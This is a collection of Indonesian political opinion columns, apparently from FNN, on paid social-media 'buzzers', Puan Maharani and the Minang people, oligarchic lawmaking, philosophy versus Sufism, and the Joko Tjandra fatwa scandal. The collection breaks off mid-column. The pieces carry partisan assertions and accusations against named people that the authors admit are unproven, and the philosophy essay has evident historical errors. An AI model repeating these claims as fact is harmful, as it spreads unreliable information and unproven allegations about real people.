negara akan menjadi lebih baik. Sebab, proses pengelolaan negara akan secara ketat mendapatkan kontrol atau pengawasan. Disinilah terjadi check and balances. Dengan begitu, negara "relatif" bisa diselamatkan dari segala bentuk penyalahgunaan. Buzzer model seperti ini diperlukan untuk menjaga moralitas bangsa. Kedua, buzzer fanatik. Buzzer macam ini sangat militan. Faktor psikologis dan sosiologis seringkali menjadi dasar bagi lahirnya buzzer fanatik. Karena satu kampung, sesama etnis, berada dalam satu partai atau organisasi, simpati berlebihan terhadap performence tokoh, terhipnotis oleh pencitraan, karena faktor "kegantengan" membuat para buzzer itu seringkali bersikap tidak rasional. Bahkan ada yang nggak peduli benar salah. Mereka militan dan membela mati-matian. Bahkan buzzer model ini rela berkorban dan siap mati untuk para tokoh yang dibela. Para buzzer fanatik ini lahir diantaranya karena kekagumannya terhadap kharisma seorang tokoh. Seperti Habib Rizieq di kalangan FPI, Megawati di mata kader PDIP, para tokoh agama bagi para jemaatnya. Tokoh-tokoh kharismatik umumnya berlimpah dukungan buzzer fanatik. Tidak berarti bahwa para pendukung tokoh kharismatik itu hanya dari kalangan orang-orang yang abai terhadap rasionalitas. Tidak juga. Jangan salah paham. Hanya saja, secara teoritis, orang yang tingkat rasionalitasnya tinggi biasanya tidak terlalu fanatik. Ketiga, buzzer komersial. Orang menyebutnya sebagai buzzerRp. Menjadi buzzer adalah profesi. Disini, mereka numpang hidup dan cari nafkah. Sistem kerjanya bervariasi. Mulai ngoceh di medsos, bikin akun palsu, produksi video dan meme, kerahkan demo, sampai menulis artikel. Tugas mereka hanya dua. Pertama membuat iklan untuk pihak yang mensponsori. Namanya juga iklan, pasti bagus-bagus. Mana ada kecap nomor dua. Kedua, melakukan counter attack, atau serangan balik. Untuk menjalankan tugas yang kedua, mereka bersikap reaktif. Muncul hanya ketika ada yang menyerang pihak pembayar. Ciri utama mereka, menyerang orang atau kelompok. Seringkali membabi buta. Kalau ada sedikit otak, mereka menggunakan data. Data yang digunakan kadang ngawur. Dipaksakan supaya analisisnya meyakinkan. Dan di dalam narasinya sering ada kebohongan, bahkan fitnah. Pokoknya, bebas moral. Yang penting dapat bayaran. Biasanya, buzzer komersial ini tidak banyak jumlahnya. Ini berkaitan dengan keterbatasan anggaran. Tapi, mereka profesional. Ini bisa dilihat pada buzzer penguasa sebagai samplenya. Yang bicara di tv, nge-vlog, bikin video, buat tulisan, komen di medsos, ya orang-orang itu aja. Yang pakai blankon, udeng-udeng, kaca mata, nulisnya keinggris-inggrisan. Jumlahnya nggak lebih dari 10 orang. Karena gencar, masif, terlatih dan ada fasilitas, akibatnya berisik juga. Seolah isi medsos hanya mereka. Mereka hanya muncul saat ada kritik pada kebijakan pemerintah. Sekali lagi, ini hanya sekedar sample. Sample yang lain adalah munculnya para konsultan politik berbungkus survei saat pemilu. Kalangan ini lebih banyak iklan. Dan mereka dibayar untuk terus beriklan. Ngecap, maksudnya. Sesekali bikin meme. Namanya juga lagi nyari duit. Inilah buzzer komersial juga. Maraknya dunia per-buzzer-an di Indonesia ini cukup menghawatirkan. Sebab, dunia persepsi rakyat akan dikendalikan oleh iklan. Tepatnya, pencitraan. Jadi, banyak pemimpin daerah, anggota DPR, boleh jadi juga presiden yang terpilih bukan karena integritas dan kemampuannya. Bukan pula karena track record kerjanya, tapi karena iklan. Ini bahaya. Dan inilah yang terjadi selama ini. Maka muncullah istilah "petruk dadi ratu". Jika banyak Bupati, Walikota, Gubernur, anggota DPR dan presiden lahir karena iklan buzzer, maka negeri ini sudah jadi "Republik Buzzer". Sungguh ini telah jadi petaka! Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Tak Perlu Diluruskan, Memang Begitulah Puan Melihat Orang Minang

by Asyari Usman Medan FNN- Senin (07/09). Nasi sudah menjadi bubur. Tak perlulah diolah-olah lagi supaya kembali menjadi nasi. Percuma saja. Toh di mata Puan, orang Minang tidak menerapkan Pancasila. Itulah thesis asli Puan Maharani tentang orang Minang yang selama ini kosisten menolak PDIP. Itulah pandangan Puan. Begitulah yang ada di pikiran dia. Jadi, tidak perlu diusahakan untuk memoles-moles ucapan asli tersebut. Biarkan saja. Puan mengatakan, “…Semoga Sumbar mendukung negara Pancasila”. Mau ditafsirkan oleh ahli bahasa mana pun, kalimat ini mengandung arti tunggal bahwa orang Minang tidak berpancasila. Untuk apalagi dilurus-luruskan. Ditafsir-tafsirkan. Memang itulah yang dimaksudkan Puan. Dan harap diingat. Puan mengucapkan itu dalam konteks yang khusus. Yaitu, ketika dia memberikan sambutan melepas para calon kepala daerah dari PDIP untuk pilkada 2020 di Sumatera Barat (Sumbar). Dari sini, sangat “valid” disimpulkan bahwa, bagi Puan, hanya orang PDIP-lah yang memahami dan menerapkan Pancasila. Orang lain tidak. Apalagi orang Sumbar. Padahal, kalau dicermati langkah-langkah PDIP untuk mengubah Pancasila menjadi Trisila dan kemudian Ekasila, jelas sekali bahwa Partai Banteng ini sudah lama ingin melenyapkan sila Ketuhanan Yang Maha Esa. Yaitu, sila yang paling kental mewarnai sikap dan tindak-tanduk orang Minang selama ini. Sekarang, orang-orang PDIP sibuk menukangi ucapan Puan yang sangat berbisa tersebut. Mereka mencari-carikan alasan, mengklarifikasi, dan sebagainya. Sia-sia saja hasilnya. Damage has been done. Sudah terlanjur perasaan orang Minang luka parah. Semakin berusaha untuk dilurus-luruskan, bertambah meruyak nanti luka perasaan itu. Lebih baik Puan tampil ke depan. Minta maaf secara terbuka. Akui saja kesilapan. Selesai barang itu. Perkara nanti orang Minang melestarikan thesis Puan itu, apa boleh buat. Itulah risiko PDIP mencurigai orang lain. Itulah akibat keinginan pimpinan PDIP agar partai mereka itu unggul di mana-mana. Termasuk di Sumatera Barat (Sumbar). Keinginan itu menyebabkan pimpinan Banteng menganggap orang Minang yang tidak menerima PDIP sebagai musuh. Tidak hanya musuh partai, tetapi sekaligus mereka anggap sebagai musuh negara. Musuh negara itu antara lain adalah orang-orang yang tidak berpancasila. Cocok dengan ucapan Puan. Tidak ada salahnya orang PDIP ramai-ramai turun tangan untuk menyelamatkan Puan. Boleh-boleh saja barisan politisi senior PDIP mencoba meluruskan ucapan Puan itu. Silakan saja. Cuma, semakin Anda belok-belokkan peristiwa naas ini ke mana-mana, akan semakin parah. Anda terlihat arogan. Angkuh. Tidak mau meminta maaf. Merasa diri sempurna. Bisa juga nanti publik melihat PDIP sok kuasa. Mentang-mentang lagi punya kekuasaan besar. Seenaknya saja terhadap orang lain yang tidak mendukung PDIP. Kalu Anda tetap merasa tak bersalah, merasa Puan tidak melukai orang Minang, terserah saja. Tidak ada masalah. Sebab, catatan sejarah tentang peranan orang Minang cukup lengkap. Tak bisa dihapus. Mereka ikut merumuskan Pancasila, mereka mengamalkan dan merawatnya.[] Penulis adalah Wartawan Senior FNN.co.id.

Politik “Setan” Dalam Pembentukan UU

by Dr. Margarito Kamis SH. M.Hum Sejak era 1660-an industri kain wol Inggris sudah menyiapkan segala langkah untuk memproteksi bisnisnya. Sebagai contoh, mereka berhasil memengaruhi parlemen untuk meratifikasi UU yang terkenal dengan nama Sumptuary Act. UU ini pada intinya melarang rakyat Ingris memakai pakaian dari bahan tekstil ringan. Pada tahun 1666-1678 mereka melobi parlemen untuk meloloskan sebuah UU. UU yang dilobi pembentukannya ini mewajibkan semua warga Inggris yang meninggal dunia untuk dibungkus dengan kain kafan dari wool (lihat Daron Acemoglu dan James A Robinson,2014). Jakarta FNN – Ahad (06/08). Politik oligarkis, korporasi dan konglomerasi khas abad ke-17 itu, terus menjadi model politik pembentukan hukum hingga kini. Postur politik itu membentang di sepanjang rute sejarah pembentukan hukum negara. Inggris, Prancis dan Amerika, negara tukang khutbah demokrasi ini menggungguli semua negara lain di dunia. Di Amerika politk itu telah bekerja sejak abad 18 lalu. Tepatnya pada awal pemerintahan George Washington. Melalui Alexander Hamilton, kelompok oligarkis itu bekerja meloloskan UU American First Bank pada tahun 1791. Sesudahnya, praktik ini menjadi tipikal politik pembentukan UU di Amerika. Tangan setan oligarki bekerja pada hampir semua UU di bidang keuangan dan ekonomi (tarif). Postur bobrok ini menyempurnakan panorama dunia hukum. Jangkauan tangan-tangan setan itu melebar hingga dunia penegakan hukum. Alhasil pembentukan dan penegakan tidak bisa lepas dari tangan-tangan setan itu. Akuntabilitas, transparansi dan responsibilitas yang menjadi kekuatan inti struktural demokrasi pun, mati konyol. Kaum oligarkis, korporasi,konglomerasi dan cukong-cukong tahu lebih dari sarjana hukum tahu tentang hukum. Berkat bantuan ahli, kalangan oligarki, korporasi dan konglomerasi tahu hukum adalah sumber hak. Hukum juga sumber wewenang. Hak, wewenang, kewajiban dan semua tindakan pemerintahan, mengalir dari dan berdasarkan hukum. Konsep semua tindakan manusia dan pemerintah harus berdasarkan hukum, merupakan cara demokrasi bekerja mewujudkan impian tentang kesamaan derajat. Status civilian setiap orang sama. Equality Before the Law, dalam ajaran ngara hukum demokratis hanya dapat diwujudkan dengan dan melalui aturan hukum. Oligarki, korporasi dan korporasi dalam operasinya tak terlihat. Kekuatannya terasa mengangkangi Indonesia yang tahu cara berpikir itu. Kuncinya kuasai dunia hukum. Sesuai sejarahnya hukum adalah uang besar. Oligarki, korporasi dan konglomerasi yang memegang kunci itu. Bukan politisi. Sialnya dunia politik Indsonesia terlanjur menjadi pusat gravitasi relatifitas nilai. Dunia menegatur hukum itu menyediakan ruang kompromi tanpa ujung. Bekerja dengan teknik tinggi, mengakibatkan tampilan praktis cara kerja oligarkis, korporasi dan konglomerasi sulit didentifikasi. Bukti telanjang tentang eksistensinya tak berceceran. Itu sebabnya sulit menerangkan lolosnya politisi ke senayan, termasuk lolosnya UU Minerba yang baru dalam konteks kerja oligarki, korporasi dan konglomerasi. Panorama kecepatan proses pembentukan UU Minerba, UU Nomor 3 Tahun 2020, memanggil siapapun untuk mempertimbangkan sindrom oligarkis, korporasi dan konglomerasi. Tetapi secepat kilatnya pembentukan UU MK yang baru saja diubah, tak cukup beralasan untuk dikerangkakan pada kekuatan kerja setan oligarki, korporasi dan konglomerasi. Paradoksnya saat ini UU Minerba dan Perpu Corona sedang diuji di MK. Mungkinkah kedua hal yang saling menyangkal ini menyulitkan MK menari secara mandiri? Tak ada jawaban yang otoritatif. Bukti telanjang tentang tangan oligarkis, korporasi dan konglomerasi bekerja dibalik Perpu Nomor 1 Tahun 2020, juga tak ada. Tak ada juga bukti telanjang tentang tangan oligarkis, korporasi, konglomerasi dan cukong bekerja dibalik DPR, sehingga menerima Perpu parah itu. Perpu ini mengalihkan hak budget DPR. Menabrak nyata-nyata dan telanjang bulat Konstitusi Negara UUD 1945. Pengalihan ini bermakna terjadi penyatuan eksistensi konstitusional DPR pada Presiden. Hebatnya soal fundamental ini tak mengusik cita rasa republikanisme DPR. Entah bagaimana rasionya, DPR malah mengonstitusionalitas imunitas hukum khas abad ke-17 tersebut kepada aparatur pemerintah. Legalisasi itu diatur dengan sangat jelas dalam pasal 27 Perpu Corona. Celakanya DPR mlah setuju saja. Tragis konstitusi bangsa ini. Hanya dengan satu pukulan kecil yang bernama “keadaan genting” konstitusi terpelanting. Konstitusi tersudut lalu jatuh tersungkur dalam keangkuhan interpretasi urakan tentang keadaan genting. Konsep konstitusi tentang “keadaan genting” diterima begitu saja. Ini disajikan sebagai mahkota konyol untuk dipakaikan kepada aparatur pelaksana APBN. Menariknya aparatur pemerintah yang diberi imunitas konyol itu, tidak percaya. Mereka tetap takut untuk dipenjara setelah kekuasaan ini berganti kelak. Kenyataan itu jelas menunjukan bahwa proses pemahkotaannya tak berkerangka pemetaan masalah primer. Padahal itu telah menjadi prosedur kerja standar dalam ilmu pembentukan UU. Menyedihkan sekali. Para pejabat Pengguna Anggaran (PPA), Pejabat Pembuat Komitmen (PPK), dan Pejabat Pelaksana Teknis Kegiatan (PPTK) tidak mau masuk penjara. Mereka tak tergoda dengan pandangan fungsional ala Robert K. Merton, sosiolog kenamaan tentang hukum itu. Pandangan fungsional ala Merton ini, khas oligarkis, korporasi dan konglomerasi. Kekhasan itu telah menjadi energi terbesar bekerjanya mesin politik pembentukan UU. Energi ini terlihat samar-samar dibalik kampanye konyol, yang cenderung manipulatif habis-habisan agar RUU Omnibus Cipta Kerja disambut dengan tangan terbuka oleh masyarakat. Padahal RUU ini begitu membahayakan petani dan rakyat kecil disatu sisi. Disisi lain RUU ini terlalu jelas memihak oligarki, korporasi dan konglomerasi. Itu terlihat menajdi alasan meyakinkan Profesor Din Sjamsudin, Presidium KAMI, meminta Presiden dan DPR mencabutnya. Pembaca FNN yang budiman. Apakah Presiden dan DPR akan mengapresiasi permintaan Prof Din Syamsudin dan teman-temanya? Atau malah sebaliknya menyepelekan? Apakah Presiden dan DPR akan mengidentifikasi permintaan itu sebagai hal yang beralasan? Permintaan ini, hemat saya, begitu bening. Esensi permintaan itu, hemat saya, mencegah petani Indonesia semakin jauh terjatuh ke dalam penderitaan. Juga agar sumberdaya ekonomi semakin tak terakumulasi dan terkonsentrasi pada kaum oligarkis, korporasi dan konglomerasi. Presiden dan DPR, idealnya dapat segera mereorientasi energi politik pembentukan hukumnya. Energinya harus direorientasi mengikuti pandangan Profesor Din. Sekali lagi pandangan itu sejalan pengetahuan akademik tentang demokrasi yang telah begitu canggih memapipulasi hukum. Dengan cara yang rumit, demokrasi menyodorkan mahkotanya yang bernama Equality Before the Law, sebagai justifikasi folosofis UU diskriminatif. Justifikasi ini dibalut dengan justifikasi sosiologis acak kadut. Semuanya hanya bermuara pada satu hal, membenarkan produk hukum-hukum yang memihak pada oligarki, korporasdi dan konglomerasi. Bukan hukum yang memihak kepada rakyat. Balutan sosiologis khas Robert K. Merton, sosiolog kenamaan Amerika itu, membuat Syed Husen Alatas, profesor dan sosiolog kawakan, tak bisa mengerti. Dalam penilaian berkelas Syed Husen Alatas, perspektif sosiologis khas Merton itu korup pada semua aspeknya. Malah merupakan korupsi dalam watak aslinya yang sangat sangat dan sangat sempurna. Korupsi jenis ini memang tidak berakhir di penjara. Itu tidak. Tetapi tetap saja korupsi. Memang korupsi jenis itu tidak dapat dikualifikasi sebagai korupsi tipikal UU Nomor 20 Tahun 2001 Tentang Perubahan UU Nomor 31 Tahun 199 Tentang Pemberantasan Tindak Pidana Korupsi. Tetapi, sekali lagi, tetap saja korupsi. Malah korupsi jenis ini jauh lebih berbahaya. Mengapa? Korupsi ini dilegalisasi, dibenarkan oleh hukum. Hukum yang dipakai untuk melegalkan struktur korup dalam bernegara. Malah melestarikan penyebab institusional timbulnya korupsi. Menyenangkan bila Presiden dan DPR memiliki energinya republik ini untuk mencegah hukum berfungsi di luar fungsi asasinya. Energi Presiden dan DPR harusnya dipakai untuk menghasilkan hukum yang tak jadi alat perusak negara. Jelas itulah yang dirindukan. Republik punya alaram untuk hukum yang digunakan sebagai instrumen ketidakadilan. Mesin dan energi politik republik Presiden, harus memastikan proses pembentukan UU berjarak sejauh mungkin dari cara-cara setan oligarki, korporasi dan konglomerasi. Mudah-mudahan saja dapat diwujudkan. Sebab Presiden hanya perlu memiliki keberanian bertindak mandiri. Itu saja. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Khurafat Filsafat (Bagian-1)

by Irawan Santoso Shiddiq Jakarta FNN – Ahad (06/09). Frederich Nietzsche berkata, “saya sejak lama ingin hidup di kalangan kaum Muslim, khususnya ketika iman mereka kuat. Dengan ini saya berharap bisa mengasah penilaian saya dan pandangan saya untuk menilai hal-hal kebaratan.” Nietszche memberi pesan tentang indahnya kehidupan berada dalam lingkupan kaum muslimin. Tapi ketika masa keimanan kaum muslimin sangat kuat. Bukan di era modernis Islam kini. Karena kini aqidah muslimin, jamak dikooptasi kaum modernis dan wahabbi. Mereka menggelontorkan aqidah, yang menurut Shaykh Abdalqadir as sufi, “Tauhid yang mengerikan”. Tentu dengan dalih pemurnian Tauhid. Nietszche terkagum dengan Goethe. Pujangg Jerman, yang lebih dulu menyatakan ke-Islamannya. Shaykh Abdalqadir as sufi, ulama besar dari Eropa, berfatwa, Goethe meninggal sebagai muslim. Karena Goethe jamak terkagum dengan Muhammad Shallahu Allaihi Wassalam. Ian Dallas menyebut, pandangan spiritualitas Nietszche, jamak dipengaruhi oleh Goethe. Dan satu kalimat Goethe yang sangat penting untuk manusia modern. Goethe berkata, “mustahil alam dipikirkan sebagai sebuah sistem, karena alam adalah kehidupan”. Dari Goethe menuju Nietszche. Kita akan mendapati Martin Heidegger. Filosof Jerman pada abad 21. Heidegger menggambarkan kesesatan cara berpikir ala filsafat. “Filsafat tidak menemukan Kebenaran”, katanya. Karena Nietszche sebelumnya telah berkata, “Filsafat itulah berhala”. Gambaran mereka menarik. Hingga kemudian kita mendapati ulama kesohor dari Eropa, Ian Dallas. Darinya kaum barat bisa menemukan jawaban. Dallas menggambarkan tentang Islam-nya Goethe, sampai pentingnya Heidegger bagi kaum muslimin. Terutama kaum modernis Islam, yang jamak sibuk membebek pada barat. Karena mereka telah membuat “Filsafat telah mati”. Karena Nietszche lebih dulu mengatakan, “Tuhan telah mati”. Yang membunuh Tuhan, sejatinya adalah “filsafat”. Karena buah pikiran manusia itu. Dari Dallas, “Filsafat telah mati” menemukan jawaban, yaitu kembalinya “tassawuf”. Ini pertanda matinya filsafat, kembalinya Islam. Ini pula yang disebut Nieszche sebagai “ketika keimanan muslimin menguat”. Karena dalam tassawuf itulah terjamin tentang aqidah Islam yang mumpuni. Bukan “Tauhid yang mengerikan” ala modernis Islam dan kaum wahabbi. Dari kalimat Goethe, “mustahil alam dipikirkan sebagai sebuah sistem...” menunjuk bantahan akan filsafat. Goethe hidup kala filsafat tengah menggeliat di Eropa. Kala barat keranjingan filsafat. Goethe hidup seabad setelah Rene Descartes menebar virus “cogito ergo sum” di barat. Jaman ketika Eropa berada dalam kungkungan dogma Gereja Roma. Adagium berkembang kala itu menggeliat “vox Rei vox Dei” (suara Raja suara Tuhan). Eropa terperangah dengan aqidah “jabarriya”-nya Gereja Roma. Gereja Roma tampil menjadi penafsir tunggal ajaran Nasrani, yang wajib dipatuhi. Gereja dan Raja menjadi seperti “ulama dan umara” yang memangku Eropa. Disitulah mencuat perlawanan akan kondisi kekuasaan. Karena pemaksaan “Vox Rei Vox Dei” tadi. Karena satu sisi, Raja jamak menyalahgunakan kekuasaan. Seolah memang itu segala-galanya datang dari Tuhan. Peristiwa pembantaian 2000 orang Huguenot di istana Raja Charles IX, Raja Perancis abad 16, makin memantik perlawanan terhadap “Vox Rei Vox Dei”. Christopher Marlowe, dramawan Perancis, menggambarkan apik kejadian “genosida” karena perang agama masa itu. Dallas mengutipnya dalam kitabnya kesohor, “The Entire City” (telah terbit dalam bahasa Indonesia oleh penerbit MAHKAMAH). Peristiwa “Massacre de Paris”, pembantaian 2000 orang lebih pengikut Protestan, yang dituduh bid’ah. Memunculkan semangat filsafat. Karena beragam pertanyaan mencuat, “benarkah raja tak pernah salah? Benarkah raja itu wakil Tuhan? Apakah perbuatan raja itu dianggap ‘perbuatan Tuhan? Nah, tragedi itulah yang memantik kaum Eropa untuk “berpikir” ala filsafat. Copernicus memberikan bukti. Betapa dogma seolah tak boleh digeser. Pertarungan kebenaran ala Gereja, dan kebenaran sains pun terjadi. Galileo memberikan lagi. Dan Bruno makin memantiknya. Tapi pembakaran dirinya di depan umum, makin membuat kaum Eropa jengah akan dogma. Ini terjadi ketika masa “Eropa Springs”. Ketika kaum Eropa sibuk berperang internal. Sementara jaman itulah muslimin tengah dalam “keimanan yang kuat”, seperti kata Nietszche tadi. Itulah masa Daulah Utsmaniyya tengah dalam kejayaan. Tassawuf langgeng pesat di sana. Francis Bacon lebih dulu mendobrak. Dia menteorikan dengan “being”. “Aku Ada (being), maka aku berpikir (thingking)”. Segala sesuatu, harus bertitik tolak pada manusia. Dan inilah memang filsafat. Karena memang Socrates, Plato, Aristoteles mewariskannya. Masa rennaisance itulah, filsafat di-Kristen-kan. Sementara masa mu’tazilah, filsafat seolah di-Islam-kan. Rennaisance meluncurkan karena ekspor filsafat dari kaum mu’tazilah. Masa ketika Islam dirundung kejayaan sains sebagai anak kandung filsafat. Tapi runtuh secara kekuasaan. Karena jaman mu’tazilah itulah muslimin kehilangan A- Quds sampai runtuhnya Andalusia. Di tengahnya, masa itu pula Khalifah Al Mu’tashim Billah ditangkap oleh Hulagu Khan. Itulah periode muslimin tanpa Khalifah. Masa interagnum pertama. Tapi untungnya aqidah berhasil terselamatkan. Karena ulama-ulama kembali bersuara. Paham filsafat dicegat mutakallimun, Imam Asy’ari, Imam Mathuridi dan ulama besar lainnya. Mereka membantai kesesatan filsafat dalam memahami Tuhan. Dan Imam Ghazali menyerang habis filsafat, “Tahafut al Falasifah”. Serangan Imam Ghazali itu, hingga kemudian memunculkan Shaykh Abdalqadir Al-Jilani, yang membawa kembali muslimin pada tassawuf. Inilah jalan aman untuk memahami Tuhan dan kehidupan dengan benar. Dari situlah lahir Sultan Salahuddin al Ayyubi sampai Daulah Utsmaniyya. Buah dari pengajaran tassawuf, dan menyingkirkan filsafat. Tapi filsafat kemudian menyeberang ke Eropa. Dikutip rennaisance. Thomas Aquinas memulainya. Dia mengutip ajaran Ibnu Rusyd. Aquinas menelorkan perlawanan atas dogma. Kitabnya, “Tweez Warden Theorie” (teori dua belah pedang). Dia mengutip kebenaran ganda. Dulu masa Mu’tazilah, Al Farabi, guru kedua setelah Aristoteles, menelorkan tentang teori emanasi. Kebenaran ganda. Kebenaran ala filsafat dan kebenaran ala Wahyu. Aquinas mengenalkan teori emanasi itu pada Eropa. Maka seolah filsafat juga bisa menemukan “kebenaran”. Dengan teori ala Plato, “ide bawaan” atau ala Aristoteles, “akal bawaan”. Itulah seolah-olah yang kemudian dianggap sebagai “kebenaran”. Padahal Plato mengajarkan, segalanya tak bisa diterima begitu saja, sebelum diteorikan oleh akal manusia. Itu yang disebut dengan “teori”. Masa rennaisance, sama seperti era mu’tazilah. Aqli didudukkan sejajar dengan naqli. Tapi Descartes kemudian mengubahnya. Dia mengajar teori filsafat murni. Cartesius memaksa bahwa segala sesuatunya bisa dianggap kebenaran, jika telah melewati dengan proses saringan akal manusia. “Filsafat adalah dimana manusia, Tuhan, dan alam semesta menjadi ajang penyelidikan manusia,” kata Descartes. Disinilah racun itu kemudian mewabah. (Bersambung) Penulis adalah Wartawab Senior dan Direktur Eksekutif Mahkamah Institute.

Jaksa Agung ST. Burhanuddin Sebaiknya Mundur (Bagian-1)

by Kisman Latumakulita Jakarta FNN – Ahad (06/09). Skandal pengurusan Fatwa Mahkamah Agung senilia U$ 100 juta dollar untuk menunda eksekusi Joko Tjandra telah sangat merusak wajah penegakan hukum Indonesia. Kondisi ini ditambah lagi dengan rencana pengajuan Peninjuan Kembali (PK) untuk membebaskan Tjoko Tjandra dari hukuman dua tahun penjara, entah berapa besar nilainya proposalnya? Joko Tjandra pasti ingin diperlakukan sama adilnya dengan kasus Sudjiono Timan (Yujin) yang bisa mendapatkan pembebasan murni melalui pengajuan PK. Padahal dalam putusan kasasi dan PK sebelumnya menghukum Sudjiono Timan 15 tahun dalam kasus BLBI di PT Bahana Pembinaan Usaha Indonesia senilai U$ 120 juta, setara Rp 1,2 triliun. Skandal Joko Tjandra melibatkan tiga kementrian, dan dua institusi negara setingkat kementerian. Kabarnya, Presiden Jokowi sudah menyampaikan sikapnya. Presiden marah berat atas kasus yang memalukan penegakan wajah hukum di era Jokowi ini. Tiga kemeneterian yang terlibat itu adalah Ditjen Imigrasi Kementerian Hukum dan HAM, Ditjen Dukcapil Kementerian Dalam Negeri dan Ditjen Perhubungan Udara Kementerian Perhubungan. Sedangkan dua institusi nergara adalah Kepolisian Negara dan Kejaksaan Agung. Korban pun sudah berjatuhan. Tiga jendral polisi dicopot dari jabatannya, yaitu Irjen Pol. Napoleon Bonaparte dari Kepala NCB Interpol, Brigjen Pol. Nugroho Prabowo dari Sekretaris NCB Interpol dan Brigjen Pol. Prasetyo Oetomo dari Kepala Biro Korwas PPNS Bareskrim Polri. Bahkan Napoleon Bonaparte dan Prasetyo Oetomo telah ditetapkan oleh Bareskrim Polri sebagai tersangka dugaan gratifikasi, dan terima suap. Selama kenal dengan tiga jendral polisi tersbut, sejak Perwira Menengah (pamen) sampai menjadi Perwira Tinggi (Pati) polisi, tidak ditemukan hal-hal yang aneh dari ketiganya. Mereka bertiga juga bukan masuk katagori polisi lingkangan utama yang bisa dipromisikan dengan cepat. Jalur yang dilalui mereka bertiga normal-normal saja. Bisa mendapatkan jendral, karena pengabdian dan profesional dalam tugas dan jabatan. Keterlibatan tiga jendral polisi itu dalam skandal Joko Tjandara hanya akibat Kejaksaan tidak memperpanjang Red Notice atas terhukum Joko Tjandra. Padahal yang punya kewenangan untuk memantau dan mengawasi sepak terjang Joko Tjandra adalah Kejaksaan selaku ekosekutor. Begitu juga yang punya kewenangan untuk memperpanjang atau tidaknya Red Notice adalah Kejaksaan. Bukan Polisi. Begitulah aturannya. Polisi hanya melaksanakan permintaan dari Kejaksaan. Kalau diperpanjang Red Notice, maka Polisi tidak dapat mencabut nama Joko Tjandra dari daftar buruan Interpol. Namun kalau tidak diperpanjang oleh Kejaksaan, maka tidak ada alasan hukum bagi Polisi memperpanjang Red Notice di Interpol. Pinangki Dekat Petinggi Nasdem Dari jajajaran Kejaksaan, Jan Maringka yang dicopit dari Jaksa Agung Muda Intelejen (Jemdatun), dan Pingaki Sirna Malasari yang ditetapkan sebagai tersangka. Pinangki adalah oknum jaksa yang berkali-kali menemui terhukum Joko Tjandra di Kualalumpur Malaysia. Duagaan sementara Pinangki memberikan jaminan kepada Tjoko Tjandra, kalau semua urusan hukumya di Indonesia bakal aman dan beres di bawah kerja timnya. Presiden Jokowi dalam Rapat Terbatas (Ratas) Bidang Polhukam belum lama ini, yang di dihadiri Menkopolhukam Mahfuz MD, Kapolri Jendral Idham Azis, Jaksa Agung ST Burhanuddin, Mendagri Tito Karnavian, Menkumham Yasona Laoly, Kepala BIN Budi Gunawan telah menyatakan sikapnya. Presiden memerintahkan agar kasus Joko Tjandra ini diusut tuntas sampai ke akar-akarnya. Siapa saja yang terlibat, harus diproses secara hukum. Sikap Presiden Jokowi yang keras dan tegas atas kasus yang sangat memalukan ini kemungkinan bakal menemui hambatan. Apalagi kalau Jaksa Agung masih dijabat Sanitiar Burhanuddin, atau yang biasa disapa dengan ST. Burhanuddin. Untuk itu, Presiden Jokowi sebaiknya memberhentikan dulu Jaksa Agung ST Burhanuddin. Atau paling kurang ST. Burhanudin yang mengundurkan diri atas kemaun atau kesadaran sendiri. Untuk melaksanakan tugas pengamanan segala urusan hukum Joko Tjandra ini, Pinangki tidak bekerja sendirian. Pinangki melibatkan Anita Kolopaking, teman kuliah di Bandung sebagai Pengacara Joko Tjandra. Dalam tim dengan proposal senilai U$ 100 juta ini, ada juga nama Rahmat dan Andi Irfan Jaya. Nama terakhir ini adalah Ketua Badan Pemenangan Pemilu (Bappilu) Dewan Pimpinan Wilayah (DPW) Partai Nasdem Sulawesi Selatan. Andi Irfan Jaya telah ditetapkan sebagai tersangka oleh penyidik Pidsus Kejaksaan. Hubungan Pinangki dengan Andi Irfan Jaya sudah terjalin sejak Jaksa Agung masih dijabat mantan politisi Partai Nasdem HM. Prasetyo. Dari sinilah awal mula Pinangki menjalin komunikasi, dan punya hubungan erat dengan sejumlah petinggi DPP Partai Nasdem yang berasal dari Pulau Sulawesi. Meskipun belom dibuktikan secara otoritatif, namun dugaan sementara, yang mempertemukan Pinangki dengan Joko Tjandra adalah petinggi DPP Nasdem dari Pulau Sulawesi. Kader Partai Nasdem yang ditugaskan sebagai pelaksana lapangan di dalam tim dengan proposal senilai U$ 100 adalah Andi Irfan Jaya. Rencananya sekitar U$ 10 juta dari dana U$ 100 juta itu, bakal dialokasikan untuk pembangunan pengbangkit listrik (Power Pland) di Kalimantan Barat. Dari proyek Power Pland di Kalimantan Barat inilah muncul juga nama baru “Pujianto Gondokusumo”. Nama yang terakhir ini belom pernah diungkap ke publik. Tidak jelas juga institusi mana yang belum mau untuk menungkapkan keterlibatan Pujianto Gondokusumo. Apakah dari Polri atau Kejaksaan? Yang jelas, Pujianto Gondokusumo mempunyai kaitan dengan prosposal U$ 100 untuk minta Fatwa Mahkamah Agung. (bersambung) Penulis adalah Wartawan Senior FNN.co.id.

Pemerintah Piara Buzzer

by Zeng Wei Jian Jakarta FNN – Ahad (05/09). Tempo panen caci-maki. Dua kontroversi. Nggak mutu. Soal buzzer pemerintah dan kartun garuda Pancasila. Ade Armando berulang kali menyebut reportase Tempo nggak jelas. Report soal buzzer banyak kata "diduga" dan sumber anonim. Jurnalisme katro. Punggawa PRD masa lalu, Mr Web "Kingkong" Warouw mensinyalir Tempo punya dua kemungkinan motif. Pertama, mau gabung dengan moduz ngencet dulu. Kedua, Tempo memang proxy yang anti-pemerintah. "When one says 'terrorism' in a democratic society, one also says 'media'," kata Paul Wilkinson dalam makalah "The media and terrorism: a reassessment". Kemungkinan ketiga, Tempo sebagai traditional-media berusaha survive dari digital revolution wave. Turunkan mutu. Tulis sesuatu yang disukai targeted group. Tulisan yang membuat "glorified chimps" bersorak. Konsolidasi digital crowds sebagai basis advertisement iklan. Tempo mengap-mengap. Hidup susah. Mati segan. Old fashion. Zadul. Readers males baca. Revolusi digital nggak bisa distop. "Dulu penting belajar dari masa lalu. Tapi saat ini, penting bisa belajar dari masa depan," kata Alm. Aristides Katoppo. Viral, buzz, memes, stickiness, dan form factor menjadi "lingua franca" today's e-political branding. Reportase "Kakak Pembina di Tengku Umar" menyerupai click-bait headlines. Moduz mengeksploitasi "curiosity gap" pembaca. The fourth Probability, Tempo mengorbankan diri menjadi "influencer" yang memback-up buzzer malu-malu macam Rocky Gerung dan Direktur YLBHI Asfinawati. Asfinawati klenger kena online harassment, virtual social flogging dan 